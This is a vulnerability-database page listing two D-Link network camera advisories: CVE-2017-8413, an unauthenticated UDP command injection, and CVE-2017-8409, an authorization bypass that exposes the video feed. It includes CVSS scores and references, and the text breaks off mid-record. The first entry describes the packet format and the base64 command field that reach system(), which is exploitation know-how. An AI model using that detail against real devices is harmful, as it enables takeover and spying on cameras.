The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in the D-LinkDCS-1100 and DCS-1130 devices. A local attacker can exploit this vulnerability to execute commands without authentication
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1073",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8413",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 6.5,
"id": "CVE-2017-8413",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 6.5,
"id": "CNVD-2019-23340",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 6.5,
"id": "VHN-116616",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:A/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "ADJACENT",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8413",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Adjacent Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8413",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8413",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8413",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23340",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-122",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116616",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8413",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being \"S\" or 0x53 then the string passed in the \"C\" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or \"1\" from the packet type and is compared against 0x22 or \"double quotes\". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in \"C\" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding. D-Link DCS-1100 and DCS-1130 The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in the D-LinkDCS-1100 and DCS-1130 devices. A local attacker can exploit this vulnerability to execute commands without authentication",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "VULMON",
"id": "CVE-2017-8413"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8413",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-122",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23340",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116616",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8413",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"id": "VAR-201907-1073",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
}
]
},
"last_update_date": "2024-11-23T21:37:04.875000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-77",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/77.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"db": "VULHUB",
"id": "VHN-116616"
},
{
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116616"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"date": "2019-07-02T21:15:10.180000",
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23340"
},
{
"date": "2019-07-10T00:00:00",
"db": "VULHUB",
"id": "VHN-116616"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8413"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014562"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-122"
},
{
"date": "2024-11-21T03:33:59.480000",
"db": "NVD",
"id": "CVE-2017-8413"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote or local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Command injection vulnerability in devices",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014562"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "command injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-122"
}
],
"trust": 0.6
}
}
var-201907-1069
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1130 The device contains an authorization vulnerability.Information may be obtained. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in D-LinkDCS-1130
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1069",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1130",
"scope": null,
"trust": 0.8,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130 no",
"scope": null,
"trust": 0.6,
"vendor": "d link",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8409",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2017-8409",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2019-23339",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-116612",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-8409",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 7.5,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8409",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8409",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8409",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-23339",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-124",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116612",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2017-8409",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there. D-Link DCS-1130 The device contains an authorization vulnerability.Information may be obtained. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. A cross-site request forgery vulnerability exists in D-LinkDCS-1130",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "VULMON",
"id": "CVE-2017-8409"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8409",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-124",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23339",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116612",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8409",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
},
{
"db": "VULMON",
"id": "CVE-2017-8409"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014559"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-124"
},
{
"db": "NVD",
"id": "CVE-2017-8409"
}
]
},
"id": "VAR-201907-1069",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
},
{
"db": "VULHUB",
"id": "VHN-116612"
}
],
"trust": 1.50612245
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23339"
}
]
},
"last_update_date": "2024-11-23T21:37:04.614000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
